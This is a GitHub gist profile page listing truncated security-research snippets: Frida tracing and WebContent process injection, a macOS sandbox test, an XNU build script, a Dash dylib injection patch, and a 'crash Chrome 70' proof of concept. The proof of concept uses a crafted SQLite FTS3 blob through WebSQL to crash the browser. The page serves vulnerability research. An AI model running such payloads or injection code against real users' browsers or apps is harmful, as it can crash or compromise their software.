Skip to content

Instantly share code, notes, and snippets.

🐟
咸鱼

CodeColorist ChiChou

🐟
咸鱼
Block or report user

Report or block ChiChou

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
@ChiChou
ChiChou / test.js
Last active May 17, 2019
frida.re trace child process without enable_spawn_gating()
View test.js
const fs = require('fs')
const { promisify } = require('util')
const frida = require('frida')
async function main() {
const read = promisify(fs.readFile)
const source = await read('trace.js')
const opt = { runtime: 'v8' }
View cfprefs.m
#import <Foundation/Foundation.h>
#include <sandbox.h>
int sandbox_init_with_parameters(const char* profile,
uint64_t flags,
const char* const parameters[],
char** errorbuf);
#define SANDBOX_PROFILE "/System/Library/Frameworks/WebKit.framework/Versions/A/Resources/com.apple.WebProcess.sb"
#define SANDBOX_NAMED_EXTERNAL 0x0003
@ChiChou
ChiChou / sort-ver.js
Created Feb 25, 2019
opensource.apple.com sort by version
View sort-ver.js
(() => {
const trs = document.querySelector('table').querySelectorAll('tr')
const rows = [].slice.call(trs, 3, trs.length - 1)
const footer = trs[trs.length - 1]
const sorted = rows.sort((a, b) => {
const parse = tr => tr.querySelector('td:nth-of-type(2) a').textContent
.match(/((\d+\.?)+)\.tar\.gz/)[1]
.split('.')
.map(s => parseInt(s, 10))
View int64.babel.js
import { Struct } from "./utils";
function operator(target, name, descriptor) {
const oldValue = descriptor.value;
descriptor.value = function() {
if (arguments.length != oldValue.length)
throw Error("Not enough arguments for function " + name);
for (let arg of arguments)
if (!(arg instanceof Int64))
@ChiChou
ChiChou / crash.js
Created Dec 16, 2018
crash Chrome 70
View crash.js
const poc = `CREATE VIRTUAL TABLE ft USING fts3;
INSERT INTO ft VALUES('aback');
INSERT INTO ft VALUES('abaft');
INSERT INTO ft VALUES('abandon');
UPDATE ft_segdir SET root = x'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';
SELECT * FROM ft WHERE ft MATCH 'abandon';`;
const name = 'db' + Math.random().toString().slice(2, 5);
const db = openDatabase(name, '1.0', 'xx', 1024 * 16);
@ChiChou
ChiChou / build-xnu-4903.221.2.sh
Created Dec 11, 2018 — forked from matteyeux/build-xnu-4903.221.2.sh
A script to build XNU version 4903.221.2 (macOS High Sierra 10.13). Initial script by Brandon Azad.
View build-xnu-4903.221.2.sh
#! /bin/bash
#
# build-xnu-4903.221.2.sh
# Initial script by Brandon Azad (https://gist.github.com/bazad/654959120a423b226dc564073b435453)
# Updated on 12/11/18 by matteyeux
#
# A script showing how to build XNU version 4570.1.46 on MacOS High Sierra
# 10.13 with Xcode 9.
#
# Note: This process will OVERWRITE files in Xcode's MacOSX10.13.sdk. Make a
@ChiChou
ChiChou / dsc_syms.c
Created Nov 15, 2018 — forked from Siguza/dsc_syms.c
dyld_shared_cache symbols to r2 flags
View dsc_syms.c
#include <errno.h>
#include <fcntl.h> // open
#include <stdint.h>
#include <stdio.h> // printf, fprintf, stderr
#include <stdlib.h> // exit
#include <string.h> // strerror, strncmp
#include <sys/mman.h> // mmap
#include <sys/stat.h> // fstat
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
@ChiChou
ChiChou / dash-dark-mode-patch.m
Last active Oct 12, 2018
If you don't want invert color web for Dark mode
View dash-dark-mode-patch.m
// clang -shared -undefined dynamic_lookup -o /Applications/Dash.app/Contents/MacOS/libDash.dylib Dash.m
// optool install -c load -p @executable_path/libDash.dylib -t /Applications/Dash.app/Contents/MacOS/Dash
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
static void pleasedontinvertwebview(/* we don't care about the args */) {
NSLog(@"oops");
}
@ChiChou
ChiChou / dash-dark-mode-patch.m
Created Oct 12, 2018
If you don't want invert color
View dash-dark-mode-patch.m
// clang -shared -undefined dynamic_lookup -o /Applications/Dash.app/Contents/MacOS/libDash.dylib Dash.m
// optool install -c load -p @executable_path/libDash.dylib -t /Applications/Dash.app/Contents/MacOS/Dash
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
static void pleasedontinvertwebview(/* we don't care about the args */) {
NSLog(@"oops");
}
@ChiChou
ChiChou / launcher.py
Last active Aug 1, 2019
Inject module to WebContent process
View launcher.py
#!/usr/local/bin/python3
import sys
import os
import base64
import frida
def main():
host = frida.get_local_device()
You can’t perform that action at this time.